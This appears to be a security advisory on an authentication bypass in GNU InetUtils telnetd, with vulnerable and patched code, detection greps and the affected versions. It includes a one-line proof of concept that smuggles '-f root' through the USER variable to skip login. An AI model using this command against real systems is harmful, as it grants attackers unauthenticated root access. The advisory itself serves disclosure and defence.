Summary

A critical authentication bypass vulnerability has been identified in GNU InetUtils telnetd. This vulnerability allows unauthenticated remote attackers to gain privileged access to affected systems. Organizations running telnetd are advised to apply patches or implement mitigations immediately.

Vulnerability Details

How It Works

The vulnerability exists due to insufficient input validation in the telnetd service. The USER environment variable received during the Telnet NEW-ENVIRON option negotiation is passed directly to the /bin/login process without sanitization.

An attacker can supply a specially crafted username value that includes command-line flags. These flags are interpreted by the login process, allowing the attacker to bypass authentication and gain unauthorized access.

Technical Details

The vulnerability exists in the get_user_name() function within telnetd/utility.c. This function retrieves the USER environment variable and returns it to the caller without validation.

char *
get_user_name (void)
{
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
}

char *
get_user_name (void)
{
char *u = getenv ("USER");
return (u && *u != '-') ? xstrdup (u) : xstrdup ("");
}

The vulnerable code passes user-controlled input directly to /bin/login via execl(). When the USER variable contains -f root, the login process interprets -f as a flag to skip authentication.

/* How telnetd invokes login */
execl("/bin/login", "login", "-h", host, "-p", user, NULL);
/* With malicious USER value, becomes: */
execl("/bin/login", "login", "-h", host, "-p", "-f", "root", NULL);

Proof of Concept

The following command demonstrates the vulnerability. This is provided for defensive validation purposes.

env USER='-f root' telnet -a <target_ip> 23

Detection Indicators

Security teams should monitor for the following indicators:

Log Analysis Commands

# Check auth logs for suspicious login attempts
grep -E "login.*-f" /var/log/auth.log
# Check for USER environment variable abuse
grep -E "USER=.*-f" /var/log/syslog

Affected Systems

Systems are affected if they meet the following criteria:

• Running GNU InetUtils versions 1.9.3 through 2.7
• The telnetd service is enabled and accessible
• Port 23 is exposed to untrusted networks

Linux distributions that package GNU InetUtils telnetd may be affected. Consult your distribution's security advisories for specific guidance.

Recommended Actions

References